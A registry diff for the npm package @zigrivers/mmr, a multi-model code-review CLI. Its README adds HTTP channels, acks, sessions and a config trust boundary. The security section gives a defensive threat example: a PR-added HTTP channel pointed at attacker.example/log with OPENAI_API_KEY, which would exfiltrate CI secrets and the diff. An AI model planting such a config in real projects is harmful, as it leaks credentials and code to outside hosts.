@zigrivers/mmr 1.3.0 → 1.4.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (130) hide show
  1. package/README.md +444 -0
  2. package/dist/cli.d.ts.map +1 -1
  3. package/dist/cli.js +4 -0
  4. package/dist/cli.js.map +1 -1
  5. package/dist/commands/ack.d.ts +11 -0
  6. package/dist/commands/ack.d.ts.map +1 -0
  7. package/dist/commands/ack.js +123 -0
  8. package/dist/commands/ack.js.map +1 -0
  9. package/dist/commands/config.d.ts +5 -0
  10. package/dist/commands/config.d.ts.map +1 -1
  11. package/dist/commands/config.js +248 -14
  12. package/dist/commands/config.js.map +1 -1
  13. package/dist/commands/jobs.d.ts.map +1 -1
  14. package/dist/commands/jobs.js +3 -4
  15. package/dist/commands/jobs.js.map +1 -1
  16. package/dist/commands/reconcile.d.ts.map +1 -1
  17. package/dist/commands/reconcile.js +12 -5
  18. package/dist/commands/reconcile.js.map +1 -1
  19. package/dist/commands/results.d.ts.map +1 -1
  20. package/dist/commands/results.js +13 -5
  21. package/dist/commands/results.js.map +1 -1
  22. package/dist/commands/review.d.ts +25 -0
  23. package/dist/commands/review.d.ts.map +1 -1
  24. package/dist/commands/review.js +459 -44
  25. package/dist/commands/review.js.map +1 -1
  26. package/dist/commands/sessions.d.ts +58 -0
  27. package/dist/commands/sessions.d.ts.map +1 -0
  28. package/dist/commands/sessions.js +266 -0
  29. package/dist/commands/sessions.js.map +1 -0
  30. package/dist/commands/status.d.ts.map +1 -1
  31. package/dist/commands/status.js +2 -3
  32. package/dist/commands/status.js.map +1 -1
  33. package/dist/config/defaults.d.ts +2 -2
  34. package/dist/config/defaults.d.ts.map +1 -1
  35. package/dist/config/defaults.js +76 -0
  36. package/dist/config/defaults.js.map +1 -1
  37. package/dist/config/loader.d.ts +22 -0
  38. package/dist/config/loader.d.ts.map +1 -1
  39. package/dist/config/loader.js +279 -36
  40. package/dist/config/loader.js.map +1 -1
  41. package/dist/config/schema.d.ts +897 -53
  42. package/dist/config/schema.d.ts.map +1 -1
  43. package/dist/config/schema.js +155 -4
  44. package/dist/config/schema.js.map +1 -1
  45. package/dist/core/ack-store.d.ts +109 -0
  46. package/dist/core/ack-store.d.ts.map +1 -0
  47. package/dist/core/ack-store.js +363 -0
  48. package/dist/core/ack-store.js.map +1 -0
  49. package/dist/core/auth.d.ts +10 -1
  50. package/dist/core/auth.d.ts.map +1 -1
  51. package/dist/core/auth.js +106 -35
  52. package/dist/core/auth.js.map +1 -1
  53. package/dist/core/compensator.d.ts +33 -4
  54. package/dist/core/compensator.d.ts.map +1 -1
  55. package/dist/core/compensator.js +120 -15
  56. package/dist/core/compensator.js.map +1 -1
  57. package/dist/core/diff-introspect.d.ts +21 -0
  58. package/dist/core/diff-introspect.d.ts.map +1 -0
  59. package/dist/core/diff-introspect.js +42 -0
  60. package/dist/core/diff-introspect.js.map +1 -0
  61. package/dist/core/dispatcher.d.ts +10 -0
  62. package/dist/core/dispatcher.d.ts.map +1 -1
  63. package/dist/core/dispatcher.js +91 -20
  64. package/dist/core/dispatcher.js.map +1 -1
  65. package/dist/core/git-show.d.ts +31 -0
  66. package/dist/core/git-show.d.ts.map +1 -0
  67. package/dist/core/git-show.js +72 -0
  68. package/dist/core/git-show.js.map +1 -0
  69. package/dist/core/host-isolation.d.ts +24 -0
  70. package/dist/core/host-isolation.d.ts.map +1 -0
  71. package/dist/core/host-isolation.js +107 -0
  72. package/dist/core/host-isolation.js.map +1 -0
  73. package/dist/core/http-dispatcher.d.ts +20 -0
  74. package/dist/core/http-dispatcher.d.ts.map +1 -0
  75. package/dist/core/http-dispatcher.js +125 -0
  76. package/dist/core/http-dispatcher.js.map +1 -0
  77. package/dist/core/job-store.d.ts +7 -1
  78. package/dist/core/job-store.d.ts.map +1 -1
  79. package/dist/core/job-store.js +21 -1
  80. package/dist/core/job-store.js.map +1 -1
  81. package/dist/core/jsonpath.d.ts +15 -0
  82. package/dist/core/jsonpath.d.ts.map +1 -0
  83. package/dist/core/jsonpath.js +63 -0
  84. package/dist/core/jsonpath.js.map +1 -0
  85. package/dist/core/oss-examples.d.ts +18 -0
  86. package/dist/core/oss-examples.d.ts.map +1 -0
  87. package/dist/core/oss-examples.js +66 -0
  88. package/dist/core/oss-examples.js.map +1 -0
  89. package/dist/core/parser.d.ts +8 -3
  90. package/dist/core/parser.d.ts.map +1 -1
  91. package/dist/core/parser.js +157 -6
  92. package/dist/core/parser.js.map +1 -1
  93. package/dist/core/project-root.d.ts +10 -0
  94. package/dist/core/project-root.d.ts.map +1 -0
  95. package/dist/core/project-root.js +23 -0
  96. package/dist/core/project-root.js.map +1 -0
  97. package/dist/core/reconciler.d.ts +1 -1
  98. package/dist/core/reconciler.d.ts.map +1 -1
  99. package/dist/core/reconciler.js +100 -18
  100. package/dist/core/reconciler.js.map +1 -1
  101. package/dist/core/redact.d.ts +17 -0
  102. package/dist/core/redact.d.ts.map +1 -0
  103. package/dist/core/redact.js +140 -0
  104. package/dist/core/redact.js.map +1 -0
  105. package/dist/core/results-pipeline.d.ts +8 -2
  106. package/dist/core/results-pipeline.d.ts.map +1 -1
  107. package/dist/core/results-pipeline.js +50 -3
  108. package/dist/core/results-pipeline.js.map +1 -1
  109. package/dist/core/runtime-probe.d.ts +14 -0
  110. package/dist/core/runtime-probe.d.ts.map +1 -0
  111. package/dist/core/runtime-probe.js +57 -0
  112. package/dist/core/runtime-probe.js.map +1 -0
  113. package/dist/core/stable-id.d.ts +19 -0
  114. package/dist/core/stable-id.d.ts.map +1 -0
  115. package/dist/core/stable-id.js +148 -0
  116. package/dist/core/stable-id.js.map +1 -0
  117. package/dist/core/trust-mode.d.ts +29 -0
  118. package/dist/core/trust-mode.d.ts.map +1 -0
  119. package/dist/core/trust-mode.js +103 -0
  120. package/dist/core/trust-mode.js.map +1 -0
  121. package/dist/formatters/markdown.d.ts.map +1 -1
  122. package/dist/formatters/markdown.js +9 -0
  123. package/dist/formatters/markdown.js.map +1 -1
  124. package/dist/formatters/text.d.ts.map +1 -1
  125. package/dist/formatters/text.js +9 -0
  126. package/dist/formatters/text.js.map +1 -1
  127. package/dist/types.d.ts +44 -1
  128. package/dist/types.d.ts.map +1 -1
  129. package/dist/types.js.map +1 -1
  130. package/package.json +2 -2
package/README.md CHANGED
@@ -31,6 +31,7 @@ mmr reconcile <job-id> --channel superpowers --input findings.json
31
31
  |---------|---------|
32
32
  | `mmr review` | Dispatch review to configured channels |
33
33
  | `mmr review --sync` | Full pipeline: dispatch, parse, reconcile, output verdict |
34
+ | `mmr review --dry-run` | Resolve diff, validate install/auth, and print prompts without dispatching |
34
35
  | `mmr status <job-id>` | Check job progress |
35
36
  | `mmr results <job-id>` | Collect and reconcile findings |
36
37
  | `mmr config init` | Auto-detect CLIs and generate `.mmr.yaml` |
@@ -66,12 +67,455 @@ channels:
66
67
  enabled: true
67
68
  ```
68
69
 
70
+ ## Custom output parsers
71
+
72
+ Channels emit reviewer output in different shapes. `output_parser` accepts either a built-in parser name (string form — `default`, `gemini`, `doc-conformance`) or a structured object that builds a parser at dispatch time.
73
+
74
+ ### `unwrap-jsonpath` — extract the model's response from an envelope
75
+
76
+ For OSS endpoints that wrap content in OpenAI-chat shape (`{choices: [{message: {content: "..."}}]}`):
77
+
78
+ ```yaml
79
+ channels:
80
+ qwen-local:
81
+ command: scripts/ollama-openai-chat.sh # posts stdin to Ollama's /v1/chat/completions endpoint
82
+ flags: ["qwen2.5-coder:32b"]
83
+ output_parser:
84
+ kind: unwrap-jsonpath
85
+ wrap: $.choices[0].message.content
86
+ then: default # default; pass the extracted string through the default parser
87
+ ```
88
+
89
+ `wrap` is the schema key for the JSONPath selector inside the wrapper envelope. Supported jsonpath subset: `$` plus repeated property and numeric-index segments, such as `$.foo`, `$.foo.bar`, `$.foo[0]`, `$.foo[0].bar`, and `$.choices[0].message.content`.
90
+
91
+ ### `regex-findings` — one finding per regex match
92
+
93
+ For tools that emit findings as flat lines (linter-style):
94
+
95
+ ```yaml
96
+ channels:
97
+ my-linter:
98
+ command: my-linter
99
+ flags: ["--format", "pipe"]
100
+ output_parser:
101
+ kind: regex-findings
102
+ pattern: '^(P[0-3])\|([^|]+)\|([^|]+)(?:\|(.+))?$'
103
+ fields:
104
+ severity: 1
105
+ location: 2
106
+ description: 3
107
+ suggestion: 4 # optional
108
+ ```
109
+
110
+ `fields.location` and `fields.description` are required; `severity` and `suggestion` are optional. Missing or invalid severity defaults to `P2` during standard MMR finding validation.
111
+
112
+ ### Ollama recipe (full example)
113
+
114
+ ```yaml
115
+ channels:
116
+ ollama-base:
117
+ abstract: true # v3.28 — template only, not dispatchable
118
+ command: ollama
119
+ auth:
120
+ check: ollama list >/dev/null 2>&1
121
+ failure_exit_codes: [1]
122
+ recovery: Install Ollama and pull the model configured by this channel
123
+ output_parser: default # `ollama run` writes the model response directly
124
+
125
+ qwen-coder:
126
+ extends: ollama-base
127
+ flags: ["run", "qwen2.5-coder:32b", "--format", "json"]
128
+
129
+ deepseek-coder:
130
+ extends: ollama-base
131
+ flags: ["run", "deepseek-coder:33b", "--format", "json"]
132
+ ```
133
+
134
+ ## Configurable compensator
135
+
136
+ When one of the configured channels can't run (missing CLI, auth failure, timeout, or error), MMR dispatches a **compensating pass** to keep the review degraded-but-useful. By default that pass goes to `claude -p --output-format json`. Set `defaults.compensator` to redirect it to any channel you've already configured:
137
+
138
+ ```yaml
139
+ defaults:
140
+ compensator:
141
+ channel: qwen-local # name of an existing entry in channels:
142
+ channel_focus_map: # optional — override the focus preamble per-channel
143
+ codex: |
144
+ Focus on implementation correctness, memory safety, and async correctness.
145
+ You are compensating for a missing Codex review.
146
+ gemini: |
147
+ Focus on architectural consistency and dependency boundaries.
148
+ You are compensating for a missing Gemini review.
149
+
150
+ channels:
151
+ qwen-local:
152
+ extends: ollama-base # see the Ollama recipe in Custom output parsers
153
+ flags: ["run", "qwen2.5-coder:32b", "--format", "json"]
154
+ ```
155
+
156
+ **Default behavior (when `defaults.compensator` is unset or omitted).** MMR dispatches `claude -p --output-format json` for each missing channel. This preserves the pre-v3.29 behavior so existing configs need no changes.
157
+
158
+ **Validation.** The loader rejects:
159
+ - `compensator.channel` referencing a name that does not exist in `channels:` (dangling reference).
160
+ - `compensator.channel` pointing at a channel marked `abstract: true` — abstract channels are templates (v3.28 T1-A) and cannot be dispatched. Reference a concrete channel that `extends:` it instead.
161
+
162
+ ### Recipe — use a local model as the compensator
163
+
164
+ For a fully OSS-only setup (no Anthropic CLI required), configure a local Ollama channel and reference it as the compensator:
165
+
166
+ ```yaml
167
+ version: 1
168
+ defaults:
169
+ compensator:
170
+ channel: qwen-coder
171
+
172
+ channels:
173
+ ollama-base:
174
+ abstract: true
175
+ command: ollama
176
+ auth:
177
+ check: ollama list >/dev/null 2>&1
178
+ failure_exit_codes: [1]
179
+ recovery: Install Ollama and pull a model
180
+ output_parser: default # `ollama run` writes the model response directly
181
+
182
+ qwen-coder:
183
+ extends: ollama-base
184
+ flags: ["run", "qwen2.5-coder:32b", "--format", "json"]
185
+ ```
186
+
187
+ When enabled review channels such as `codex` or `gemini` are unavailable, missing, or failing, MMR runs `qwen-coder` for each compensating pass instead of `claude -p`. Channels set to `enabled: false` are intentionally skipped and do not receive compensating passes.
188
+
69
189
  ## Features
70
190
 
71
191
  - **--sync mode** — single-command entry point for agents and CI
192
+ - **--dry-run mode** — preview resolved channels and assembled prompts without spawning review subprocesses; install and auth checks still run so the preview shows which channels would dispatch
72
193
  - **Compensating passes** — Claude-based review for unavailable channels
73
194
  - **Consensus scoring** — multi-source findings get high confidence
74
195
  - **Atomic job store** — per-channel status files, no write races
75
196
  - **POSIX-portable** — `command -v` for install checks, works everywhere
76
197
 
198
+ ## v3.28 — Config foundations
199
+
200
+ ### Channel inheritance with `extends:` and abstract parents
201
+
202
+ Define an abstract template once, then inherit it per model. The parent's
203
+ fields are deep-merged into the child; the child may override any field.
204
+
205
+ ```yaml
206
+ channels:
207
+ ollama-base:
208
+ abstract: true # template only, never dispatched
209
+ command: ollama run
210
+ output_parser: default
211
+ auth:
212
+ check: "ollama list"
213
+ timeout: 5
214
+ failure_exit_codes: [1]
215
+ recovery: "ollama serve"
216
+
217
+ qwen:
218
+ extends: ollama-base
219
+ flags: ["qwen2.5-coder:32b", "--format", "json"]
220
+
221
+ deepseek:
222
+ extends: ollama-base
223
+ flags: ["deepseek-r1:14b", "--format", "json"]
224
+ ```
225
+
226
+ - Cycle detection rejects configs where `A extends B extends A` (or longer loops).
227
+ - Maximum extends depth is 4 levels.
228
+ - Concrete channels (`abstract: false` — the default) must end up with a `command`
229
+ after merge; an abstract parent supplies it implicitly.
230
+
231
+ ### `mmr config init` — local-runtime probing
232
+
233
+ `mmr config init` probes for `ollama`, `lms` (LM Studio), `llama-server`
234
+ (llama.cpp), and `local-ai-delegate` with a 1-second per-probe timeout.
235
+ Detected runtimes emit a commented `# example: ...` channel block in the
236
+ generated `.mmr.yaml` (not enabled by default). Pass `--with-examples` to
237
+ emit the full OSS catalog whether or not the runtimes are detected.
238
+
239
+ ```bash
240
+ mmr config init --with-examples
241
+ ```
242
+
243
+ ### `mmr config channels show <name>`
244
+
245
+ Print the fully merged configuration for one channel with per-field
246
+ provenance (`# from default | user | project`). Secrets in `env` and
247
+ `headers` are replaced with `<redacted>` by default. Pass `--no-redact`
248
+ to print them verbatim (a warning banner is printed to stderr).
249
+
250
+ ```bash
251
+ mmr config channels show claude
252
+ ```
253
+
254
+ The loader also warns when a channel `headers:` block contains a literal
255
+ `Authorization` (or similarly secret-shaped) value — these should be moved
256
+ into an env var and referenced via `api_key_env` (the env-var name itself
257
+ is non-secret, the value never appears in any introspection output).
258
+
259
+ ### `mmr review --dry-run`
260
+
261
+ Resolve the diff, assemble the prompt, run auth checks, and print which
262
+ channels *would* dispatch and the prompt each would receive — without
263
+ spawning any review subprocesses. A clear banner makes it obvious the
264
+ output is not real findings.
265
+
266
+ ```bash
267
+ mmr review --pr 42 --dry-run
268
+ ```
269
+
270
+ ## v3.30 — Sessions, acks, HTTP channels, and trust boundary
271
+
272
+ ### Stable finding identity and sessions
273
+
274
+ Each reconciled finding now carries a `finding_key` — a deterministic hash
275
+ built from the **normalized** location and category plus a SHA-1 of the
276
+ normalized description and suggestion (severity is intentionally *not* part of
277
+ the key). The SHA-1 here is a **content-identity** digest for
278
+ deduplicating findings across rounds — not a security primitive — so
279
+ cryptographic collision resistance is not a requirement here (a chance
280
+ collision would merely merge two unrelated findings, which is both
281
+ astronomically unlikely and harmless).
282
+ Normalization strips trailing line/column spans from the location and
283
+ inline `line N` mentions from the prose, and folds casing/whitespace. As a
284
+ result, line-number drift and severity changes do not change the identity of an
285
+ issue across rounds. This line-independent, case-folded identity is
286
+ intentional: a single ack then covers the same issue as it recurs at shifted
287
+ lines (or across case-variant paths), and any incidental merge of two findings
288
+ is harmless because the key is only a dedup/identity handle. The hash still
289
+ depends on the description/suggestion text,
290
+ so a substantial channel-side rewrite *will* produce a new key — that larger
291
+ phrasing drift is absorbed by the fuzzy **ack** fallback described below
292
+ (Jaccard ≥ 0.7 on the description shingle), not by the key itself.
293
+
294
+ Sessions group related reviews. Choose a session id matching
295
+ `^[a-zA-Z0-9_-]+$` that is not a reserved name (`con`, `prn`, `aux`, `nul`,
296
+ `com1`–`com9`, `lpt1`–`lpt9`, `index`, `__proto__`), register it with
297
+ `mmr sessions start <id>`, then pass `--session <id>` and `--round N`
298
+ (one-based) to link a review to its predecessors:
299
+
300
+ mmr sessions start my-feature
301
+ # → session record printed (includes the id)
302
+ mmr review --pr 123 --session my-feature --round 1 --sync
303
+ # ...do fix work...
304
+ mmr review --pr 123 --session my-feature --round 2 --sync
305
+
306
+ When `--session` is set without `--max-rounds`, the default cap is 5 rounds.
307
+ Round 6 exits early with `verdict: 'needs-user-decision'` and a `summary` of
308
+ `max_rounds_exceeded: …`.
309
+
310
+ Manage sessions with:
311
+
312
+ mmr sessions list
313
+ mmr sessions show <id>
314
+ mmr sessions end <id>
315
+
316
+ ### Acknowledging known findings
317
+
318
+ A finding that is intentional in your project (an "ack") can be silenced so
319
+ later reviews surface it as advisory rather than blocking. Acks are keyed by
320
+ `finding_key`, with a location-anchored Jaccard fuzzy fallback (≥ 0.7 on the
321
+ 5-gram description shingle) that survives small LLM phrasing changes.
322
+
323
+ Workflow:
324
+
325
+ # Find the finding_key for the issue you want to ack:
326
+ mmr review --pr 123 --sync --format json | jq '.reconciled_findings[] | select(.location | startswith("src/legacy/")) | .finding_key'
327
+
328
+ # Ack it with a reason:
329
+ mmr ack add <finding_key> --reason "legacy module — scheduled rewrite in Q3"
330
+
331
+ # List:
332
+ mmr ack list
333
+
334
+ # Remove:
335
+ mmr ack rm <finding_key>
336
+
337
+ By default (`--scope project`, the default), acks are stored at
338
+ `./.mmr/acks/<finding_key>.json` (committed and shared with the team). Pass
339
+ `--scope user` to store under `~/.mmr/acks/` (private to your machine).
340
+
341
+ Acked findings remain visible in `reconciled_findings` with
342
+ `acknowledged: true` and `ack_match: 'exact' | 'fuzzy'`; they no longer
343
+ block the gate.
344
+
345
+ ### HTTP channels
346
+
347
+ In addition to subprocess channels (which spawn a CLI like `claude -p`),
348
+ v3.30 supports `kind: http` channels that POST to OpenAI-compatible
349
+ `/v1/chat/completions` endpoints. This covers LM Studio, vLLM, llama-server,
350
+ Ollama (via its `/v1/chat/completions` shim), Groq, Together.ai, Anyscale,
351
+ and Fireworks without writing a shell wrapper.
352
+
353
+ Required fields for an HTTP channel:
354
+
355
+ - `kind: http`
356
+ - `endpoint` — the full chat-completions request URL, normally ending in
357
+ `/v1/chat/completions`. Non-standard paths are allowed, but then you must
358
+ also supply an explicit `auth.check_endpoint` (see below), since the
359
+ auth-probe URL can only be derived from a `/chat/completions` suffix.
360
+ - `model` — the model string the endpoint expects
361
+ - `endpoint_convention: openai-chat` — the only convention supported in
362
+ v3.30; `generic` is rejected and reserved for a future release.
363
+
364
+ Optional fields:
365
+
366
+ - `api_key_env` — the NAME of the env var holding the API key. The literal
367
+ value is never written to `.mmr.yaml`.
368
+ - `api_key_header` (default `Authorization`)
369
+ - `api_key_prefix` — prepended to the key value in the auth header. The
370
+ default is the word `Bearer` followed by a single trailing space (the
371
+ seven-character string `Bearer `). Set it to an empty string (`""`) for
372
+ providers that expect a raw key with no prefix.
373
+ - `headers` — extra headers (e.g. `{ "X-Org": "..." }`)
374
+ - `auth.check_endpoint` — explicit auth-probe URL, written as a `check_endpoint`
375
+ key nested under an `auth:` block (the `auth.` prefix is dot-notation for that
376
+ nesting):
377
+
378
+ ```yaml
379
+ channels:
380
+ custom:
381
+ kind: http
382
+ endpoint: https://api.example.com/v2/respond # non-standard path
383
+ model: my-model
384
+ endpoint_convention: openai-chat
385
+ auth:
386
+ check_endpoint: https://api.example.com/v2/health
387
+ ```
388
+
389
+ When unset, MMR derives the probe by replacing a trailing `/chat/completions`
390
+ with `/models` (a single trailing slash on the endpoint is tolerated). If the
391
+ endpoint does not end in `/chat/completions`, `auth.check_endpoint` is
392
+ required (and config validation fails without it).
393
+
394
+ #### LM Studio (local, no API key)
395
+
396
+ ```yaml
397
+ channels:
398
+ lm-studio:
399
+ kind: http
400
+ endpoint: http://localhost:1234/v1/chat/completions
401
+ model: qwen2.5-coder-32b-instruct
402
+ endpoint_convention: openai-chat
403
+ ```
404
+
405
+ #### Groq
406
+
407
+ ```yaml
408
+ channels:
409
+ groq:
410
+ kind: http
411
+ endpoint: https://api.groq.com/openai/v1/chat/completions
412
+ model: llama-3.3-70b-versatile
413
+ endpoint_convention: openai-chat
414
+ api_key_env: GROQ_API_KEY
415
+ ```
416
+
417
+ #### Together.ai
418
+
419
+ ```yaml
420
+ channels:
421
+ together:
422
+ kind: http
423
+ endpoint: https://api.together.xyz/v1/chat/completions
424
+ model: meta-llama/Llama-3-70b-chat-hf
425
+ endpoint_convention: openai-chat
426
+ api_key_env: TOGETHER_API_KEY
427
+ ```
428
+
429
+ Status mapping: `200` → completed, `401` → `auth_failed`, `429` or `5xx`
430
+ → `failed`, fetch timeout → `timeout`. The API key value is sent on every
431
+ request, but is NEVER written to logs or persisted job state.
432
+
433
+ ### Security considerations
434
+
435
+ When MMR resolves a trusted **base ref** for a review — `--pr` with a
436
+ successfully resolved upstream base, an explicit `--base`, an explicit
437
+ `--config-base-ref`, or the local non-CI default of `HEAD` — both `.mmr.yaml`
438
+ and `./.mmr/acks/` are loaded *exclusively from that ref* (via `git show`),
439
+ never from the working tree. In the other modes (`trust_mode` of
440
+ `untrusted-head` — e.g. `--staged`/`--diff`/unresolvable `--pr` under CI — or
441
+ `non-git`), project config and project acks are **not loaded at all** unless
442
+ you pass the corresponding trust flag below; user-scope config/acks always
443
+ load. This base-ref rule closes two attack surfaces:
444
+
445
+ 1. **Ack self-suppression.** Without the rule, a PR could add a
446
+ `./.mmr/acks/<key>.json` file in the same diff that introduces the
447
+ findings being acked, silently shipping the issue.
448
+ 2. **HTTP channel secret exfiltration (P0).** Without the rule, a PR
449
+ could add a `kind: http` channel to `.mmr.yaml` with
450
+ `endpoint: https://attacker.example/log` and
451
+ `api_key_env: OPENAI_API_KEY`, exfiltrating CI secrets and diff
452
+ content.
453
+
454
+ The four trust flags:
455
+
456
+ - `--accept-new-acks` — required when the diff under review adds or
457
+ modifies files under `./.mmr/acks/`. Without it, MMR returns
458
+ `verdict: 'needs-user-decision'` and lists the proposed acks.
459
+ - `--trust-project-config` — required when the diff under review adds
460
+ or modifies `./.mmr.yaml`. Without it, MMR returns
461
+ `verdict: 'needs-user-decision'` and reports
462
+ `proposed_config_change: true`.
463
+ - `--config-base-ref <ref>` — for CI / wrapper flows that operate on
464
+ an untrusted checked-out PR head. Tells MMR to load both
465
+ `.mmr.yaml` and project acks from this trusted ref via
466
+ `git show`. **Preferred over `--trust-project-*`** when a trusted
467
+ ref exists.
468
+ - `--trust-project-acks` — broader equivalent to `--accept-new-acks`
469
+ for untrusted-HEAD / non-Git modes. Honors working-tree project
470
+ acks. Logged with a noisy banner.
471
+
472
+ Each review's output carries a `trust_mode` field with one of:
473
+ `'base-ref'`, `'untrusted-head'`, `'non-git'`. Inspect this field
474
+ to confirm which boundary applied to your run.
475
+
476
+ User-scope config (`~/.mmr/config.yaml`) and user-scope acks
477
+ (`~/.mmr/acks/`) are trusted unconditionally in every mode, because
478
+ they are local to the user running MMR.
479
+
480
+ The threat scenario the design closes:
481
+
482
+ > Alice opens a PR that adds `.mmr.yaml` with a `kind: http` channel
483
+ > pointed at her server, plus a benign-looking code change. Bob's CI
484
+ > runs `mmr review --pr` on that PR. Without the base-ref rule, Bob's
485
+ > CI would dispatch the new HTTP channel during the review, sending
486
+ > `OPENAI_API_KEY` and the full diff to Alice's server. With the rule,
487
+ > the channel is not loaded (it does not exist at the base ref) and
488
+ > the verdict is `needs-user-decision` until Bob explicitly opts in
489
+ > with `--trust-project-config`.
490
+
491
+ Scaffold's wrappers (`scaffold run review-pr`, `scaffold run review-code`)
492
+ pick the **input mode** for you (`--pr`, `--staged`, `--base/--head`,
493
+ `--diff`) but do **not** pass the trust flags. For a `--pr` review the
494
+ base-ref boundary applies automatically, so the trust flags are usually
495
+ unnecessary; if a review returns `needs-user-decision` (e.g. the diff touches
496
+ `.mmr.yaml` or `./.mmr/acks/`, or you are in an untrusted-head/non-git mode),
497
+ re-run with the appropriate trust flag above yourself.
498
+
77
499
  Full documentation: [scaffold README](https://github.com/zigrivers/scaffold#mmr--multi-model-review-cli)
500
+
501
+ ## Grok channel — closed-book override
502
+
503
+ By default the built-in grok channel keeps web search **on** (`--tools web_search,web_fetch`). To run grok closed-book (no web access), you must override `channels.grok.flags` in `.mmr.yaml`. Because MMR's config merge **replaces arrays** (not appends), a `flags` override must restate the **entire** hardened array and add `--disable-web-search`. Any file-path flag you add must be **absolute** — the channel runs in a neutral `cwd`, so relative paths silently break.
504
+
505
+ > ⚠️ **Upgrade note for existing grok customizers.** If your `.mmr.yaml` already sets `channels.grok.flags` (for a timeout tweak, a prior closed-book attempt, etc.), that array **replaces** the new hardened defaults — so your grok reviews will run **without** `--no-memory`, the web-only tool allowlist, or `--no-subagents/--no-plan`, losing the context-bleed protections. Restate the full hardened array (below) in your override to keep them. (The isolated `HOME`/`cwd` posture lives in `env`/`cwd`, which deep-merge, so those survive a `flags`-only override — but the flags do not.)
506
+
507
+ ```yaml
508
+ channels:
509
+ grok:
510
+ flags:
511
+ - --prompt-file
512
+ - '{{prompt_file}}'
513
+ - --output-format
514
+ - json
515
+ - --no-memory
516
+ - --tools
517
+ - web_search,web_fetch
518
+ - --no-subagents
519
+ - --no-plan
520
+ - --disable-web-search # closed-book: no web
521
+ ```
package/dist/cli.d.ts.map CHANGED
@@ -1 +1 @@
1
- {"version":3,"file":"cli.d.ts","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAQA,wBAAsB,MAAM,CAAC,IAAI,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,CAAC,CAc1D"}
1
+ {"version":3,"file":"cli.d.ts","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAUA,wBAAsB,MAAM,CAAC,IAAI,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,CAAC,CAgB1D"}
package/dist/cli.js CHANGED
@@ -5,6 +5,8 @@ import { resultsCommand } from './commands/results.js';
5
5
  import { configCommand } from './commands/config.js';
6
6
  import { jobsCommand } from './commands/jobs.js';
7
7
  import { reconcileCommand } from './commands/reconcile.js';
8
+ import { sessionsCommand } from './commands/sessions.js';
9
+ import { ackCommand } from './commands/ack.js';
8
10
  export async function runCli(argv) {
9
11
  await yargs(argv)
10
12
  .scriptName('mmr')
@@ -15,6 +17,8 @@ export async function runCli(argv) {
15
17
  .command(configCommand)
16
18
  .command(jobsCommand)
17
19
  .command(reconcileCommand)
20
+ .command(sessionsCommand)
21
+ .command(ackCommand)
18
22
  .demandCommand(1, 'Run mmr --help for usage')
19
23
  .strict()
20
24
  .help()
package/dist/cli.js.map CHANGED
@@ -1 +1 @@
1
- {"version":3,"file":"cli.js","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,OAAO,CAAA;AACzB,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAA;AACtD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAA;AAChD,OAAO,EAAE,gBAAgB,EAAE,MAAM,yBAAyB,CAAA;AAE1D,MAAM,CAAC,KAAK,UAAU,MAAM,CAAC,IAAc;IACzC,MAAM,KAAK,CAAC,IAAI,CAAC;SACd,UAAU,CAAC,KAAK,CAAC;SACjB,KAAK,CAAC,wBAAwB,CAAC;SAC/B,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,cAAc,CAAC;SACvB,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,WAAW,CAAC;SACpB,OAAO,CAAC,gBAAgB,CAAC;SACzB,aAAa,CAAC,CAAC,EAAE,0BAA0B,CAAC;SAC5C,MAAM,EAAE;SACR,IAAI,EAAE;SACN,IAAI,CAAA;AACT,CAAC"}
1
+ {"version":3,"file":"cli.js","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,OAAO,CAAA;AACzB,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAA;AACtD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAA;AACpD,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAA;AAChD,OAAO,EAAE,gBAAgB,EAAE,MAAM,yBAAyB,CAAA;AAC1D,OAAO,EAAE,eAAe,EAAE,MAAM,wBAAwB,CAAA;AACxD,OAAO,EAAE,UAAU,EAAE,MAAM,mBAAmB,CAAA;AAE9C,MAAM,CAAC,KAAK,UAAU,MAAM,CAAC,IAAc;IACzC,MAAM,KAAK,CAAC,IAAI,CAAC;SACd,UAAU,CAAC,KAAK,CAAC;SACjB,KAAK,CAAC,wBAAwB,CAAC;SAC/B,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,cAAc,CAAC;SACvB,OAAO,CAAC,aAAa,CAAC;SACtB,OAAO,CAAC,WAAW,CAAC;SACpB,OAAO,CAAC,gBAAgB,CAAC;SACzB,OAAO,CAAC,eAAe,CAAC;SACxB,OAAO,CAAC,UAAU,CAAC;SACnB,aAAa,CAAC,CAAC,EAAE,0BAA0B,CAAC;SAC5C,MAAM,EAAE;SACR,IAAI,EAAE;SACN,IAAI,CAAA;AACT,CAAC"}
@@ -0,0 +1,11 @@
1
+ import type { CommandModule } from 'yargs';
2
+ interface AckArgs {
3
+ action: string;
4
+ 'finding-key'?: string;
5
+ job?: string;
6
+ reason?: string;
7
+ scope?: string;
8
+ }
9
+ export declare const ackCommand: CommandModule<object, AckArgs>;
10
+ export {};
11
+ //# sourceMappingURL=ack.d.ts.map
@@ -0,0 +1 @@
1
